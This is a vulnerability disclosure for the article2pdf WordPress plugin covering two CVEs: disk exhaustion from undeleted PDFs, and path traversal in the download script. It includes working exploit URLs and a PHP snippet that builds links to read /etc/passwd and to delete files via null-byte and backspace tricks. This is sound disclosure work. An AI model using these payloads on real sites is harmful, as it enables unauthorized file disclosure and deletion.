article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)

Product: article2pdf (Wordpress plug-in)
Product Website: https://wordpress.org/plugins/article2pdf/
Affected Versions: 0.24 and greater

The following vulnerabilities were found in a code review of the
plug-in. An attempt to contact the
plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress
security team disabled downloads
of the plug-in upon notification on 8 January 2019.

I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw)
whose course
"Seth & Ken's Excellent Adventures in Secure Code Review" sparked my
interest in reviewing code for
vulnerabilities.

[CVE-2019-1000031] Generated PDF file is only removed after download
which is initiated by a redirect
=====================================================================================================
Type:
-----
Resource Exhaustion

Description:
-----------
The plugin generates a PDF version of a post/article when a link of the
form

https://www.example.com/.../my-post-title/?article2pdf=1

is visited. The response to this initial request is a redirect to a link
like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

which will then return the PDF file contents and subsequently delete
the file.

As the deletion is coupled with the download but the download is
initiated by a different request than the one which creates the file,
visiting the link which creates the file and not following the redirect
results in the file not being deleted. These files can then accumulate
and potentially exhaust the available disk space.

Depending on the server setup, space exhaustion of a hard drive or hard
drive partition or even just a disk quota can result in denial of
service even for unrelated services on the same machine which rely on
the same resource.

This issue was originally reported on the plugin's bug tracker [2] but
never identified as a vulnerability.

Exploit
-------
Repeatedly visit a PDF generation link the plugin provides without ever
following the redirect to exhaust disk space.

[CVE-2019-1010257] PDF file download path is constructed from
insufficiently sanitised user input
=================================================================================================
Type:
-----
Information Disclosure / File Deletion

Description:
------------
When visiting the PDF download link which the original PDF generation
link redirects to, the file path is constructed from a combination of
fixed strings and the strings provided via the query string of the
download URL. The download URL has the form

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

where xxx is a base64 encoded absolute string, xxx is a short hex hash
and zzz is the base64 encoded URL title slug of the post the PDF was
generated from. While the plugin attempts to sanitise these input
parameters to not allow path traversal, this sanitisation is
insufficient and can be fully or partially circumvented depending on
the PHP version the Wordpress instance is running on.

In the case of PHP version <5.3 it is possible to read any file the
user the plugin is executed under has read access to by just encoding
the full file path in the parameter "d" and terminating that string
with a null-byte. The parameter "p" must not be empty but can contain
any value. The parameter "r" may be empty but its value is of no
significance. If the user that the script is executed as has write
access to the file or the directory it is stored in, the file will be
deleted after it has been downloaded. If the user has no write access,
an error message may be shown at the end of the file contents
offered which discloses the Wordpress instance's install directory on
the server.

In the case of PHP version >=5.3, null-termination will no longer cut
off the string. As the generated file name ends with a fixed string
".pdf", only files with that file ending can be read. The parameter "d"
may be any directory on the server. The parameter "p" needs to contain
8 backspace characters to delete a prepended fixed string from the file
name while the parameter "r" must contain exactly one backspace. The
actual file name (without the ".pdf") can then be appended to the
backspaces in either parameter "p" or parameter "r". It is also
possible to have "p" contain one random character and then have 10
backspace characters followed by the actual file name (again,
without the ".pdf") stored in parameter "r".

The information above can also be found on the plug-in's issue tracker
[3].

Exploit:
--------
On PHP <5.3, a specially crafted link like

http://php52.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=YQ==&r=&d=L2V0Yy9wYXNzd2QA

will download the server's /etc/passwd file.

On PHP >=5.3, a specially crafted link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=CAgICAgICAg=&;r=%08test&d=L3RtcA==

will return the contents of the file "/tmp/test.pdf" and delete the
file if the user the script is executed as has permissions to do so.

The link used above can be generated using a few lines of PHP:

     <?php
     $d52 = base64_encode("/etc/passwd\0");
     $p52 = base64_encode("a");
     $r52 = "";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p52}&r=${r52}&d=${d52}\n";
     $d53 = base64_encode("/tmp");
     $p53_raw = "";
     for ($i=0;$i<8; $i++) $p53_raw .= chr(8);
     $p53 = base64_encode($p53_raw);
     $r53 = "%08test";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p53}&r=${r53}&d=${d53}\n";

[1] https://wordpress.org/plugins/article2pdf/
[2]
https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/
[3]
https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/